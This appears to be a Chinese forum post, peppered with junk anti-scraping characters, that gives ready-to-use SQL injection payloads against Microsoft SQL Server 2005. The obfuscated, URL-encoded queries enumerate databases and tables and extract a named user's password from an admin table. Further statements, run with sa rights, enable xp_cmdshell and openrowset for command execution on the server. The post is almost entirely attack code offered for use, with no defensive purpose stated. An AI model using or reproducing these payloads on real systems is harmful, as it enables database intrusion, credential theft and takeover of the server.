MSsql2005注入语句

admin

$ ]8 b: {4 W' V4 q5 h/ g4 A
6 V* `5 M/ {* U' A9 S- u
[Copy to clipboard]CODE:
) h' {% D9 C7 Y) ~( c/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--
" |2 V( [# E8 z, d8 p$ G0 }" V
3 V) B% |' O3 d; ?爆表语句,somedb部份是所要列的数据库，红色数字1累加
+ Q2 h6 `9 E8 K0 e6 |$ Y; S" h
* w2 O7 X: t# P( |! y# A
0 M7 y( G" k+ p6 v[Copy to clipboard]CODE:
/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
1 I/ z& o1 O. z& M: k; T
爆字段语句，爆表admin里user='icerover'的密码段


1 W6 n3 j  y, R' A& r[Copy to clipboard]CODE:
% D& z- L( `  D) e* M" [4 I, r**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--

2 z0 q; C) ]. tmssql2005默认没有开xp_cmdshell的，openrowset也不能用
如果是sa权限，可以这样来开启
开启openrowset
9 [& b7 ^, ]% U6 s5 O

[Copy to clipboard]CODE:
/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
3 z' q8 V1 i2 S- Y+ S! H/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--

开启xp_cmdshell
* U8 n% N) I9 z) Z5 U$ S% U
5 n0 C7 Q2 X0 M/ ?- ^4 e4 l
[Copy to clipboard]CODE:
6 Y/ T2 F  \5 {# S9 AEXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
. `* a9 v# M9 `3 J" VEXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--
: v, |9 b  C7 ^7 B2 y5 u
/ L2 T  K% Y+ x- Xok,over~~晚安
! i" B# F' V$ V8 O" K$ F8 e